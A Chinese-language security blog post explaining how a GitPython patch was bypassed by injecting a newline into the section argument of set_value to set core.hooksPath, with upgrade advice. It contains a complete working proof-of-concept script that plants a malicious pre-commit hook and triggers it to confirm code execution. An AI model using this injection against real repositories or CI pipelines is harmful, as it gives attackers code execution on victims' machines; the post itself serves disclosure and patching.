
安全补丁这东西,要么不写,写了就得把门焊死。半扇门关上了,等于没关——还给攻击者留了张纸条,上面写着"往这儿绕"。
GitPython 补丁翻车记:
一个换行符绕过 RCE 修复的故事
GitPython 是 Python 下操作 Git 的主力库,PyPI 周下载量几百万那种。之前爆过一个洞:攻击者能往 .git/config 里写恶意配置,把 core.hooksPath 指向自己控制的目录,等人一 commit 代码就执行了。编号 CVE-2026-42215,3.1.49 打了个补丁。
然后被人绕过了。绕得还挺轻松的。
新漏洞编号:CVE-2026-67326
影响版本:GitPython ≤ 3.1.49
修复版本:3.1.50
漏洞类型:输入验证不完善
补丁写了半截
git/config.py 里 set_value() 有三个参数: section 、 option 、 value 。之前发现 value 可以注入换行符,于是加了个 _value_to_string_safe 做校验。
但是另外两个参数原封不动丢给了底层的 configparser:
# GitPython 3.1.49 — 补丁后的代码
defset_value(self, section: str, option: str, value) -> "GitConfigParser":
# 只有 value 被验证了
value_str = self._value_to_string_safe(value)
if not self.has_section(section):
self.add_section(section) # section 直接传进去了
super().set(section, option, value_str) # option 也没管
return self攻击者不用碰 value ,改打 section 就行。补丁拦了前门,侧门开着。
攻击长什么样
关键在 _write() 方法里,section 头是以 "[%s]\n" % name 这种格式写进文件的。既然 section 参数没有换行过滤,那传一个精心构造的字符串进去就行。
把 section 设为 user]\n[core :
user]\n[core写进文件后变成:
[user]
[core]两个合法的 section。攻击者可以在第二个 [core] 下面设置 hooksPath ,指向自己控制的目录。Git 在触发 hook 时就会去那个目录找脚本执行。
PoC 长这样——概念验证代码,别往生产环境里跑:
import git, os, subprocess
# 初始化一个仓库
repo = git.Repo.init("/tmp/bypass_test")
# 准备恶意 hook
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# 在 section 参数里注入换行符
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
# 验证 hooksPath 被写进去了
r = subprocess.run(
["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True
)
print(r.stdout.strip()) # → /tmp/evil_hooks
# 触发 commit,恶意 hook 被执行
subprocess.run([
"git", "-C", "/tmp/bypass_test",
"commit", "--allow-empty", "-m", "x"
])
print(open("/tmp/rce_proof.txt").read())
# → uid=1000(...) RCE 确认注意:这个漏洞是本地攻击向量,需要攻击者已经在目标机器上能跑代码,或者能骗受害者处理一个恶意构造的仓库。但 CI/CD 流水线、代码审查机器人、自动化 Git 操作服务里大量用 GitPython,远程触发也不是没可能。
问题出在哪
说白了,修漏洞的人盯着 value 修,忘了另外两个参数也一样危险。
API 签名长这样:
set_value(section, option, value)
↑ 没验证 ↑ 没验证 ↑ 验证了三个参数,两个有同样的问题。补丁只封了已经被人捅过的那个。
简单说就是
这个漏洞 CVSS 7.0,高危。首次修复在 3.1.49,被人绕过后 3.1.50 才真正堵上。报告者叫 aslein1413-sys,攻击链路走的是 Git hooks 触发 RCE。跟之前那个洞本质上是一回事,只是换了个入口。
升级就完了
用 GitPython 的话,升到 3.1.50。3.1.49 那个补丁不管用,别留着。
pip install --upgrade GitPython
至于维护开源库的,就一句话:修输入验证漏洞的时候,把所有参数列出来,一个一个看。别只盯着出事的那个修。
说到底
这个漏洞技术上没什么稀奇——没有堆溢出,没有格式化字符串,就是一个换行符。一个 \n 。
补丁本身没写错,但只拦了已知的入口。修漏洞的人盯着 value 参数加校验,攻击者转头就去捅 section。三个入口封了一个,另外两个还是敞开的。
GitPython 是 GitHub Dependabot、一堆 CI 工具的底层依赖。一个换行符就能捅穿一条链。这种漏洞比花哨的利用技术更常见,也更让人头疼。

夜雨聆风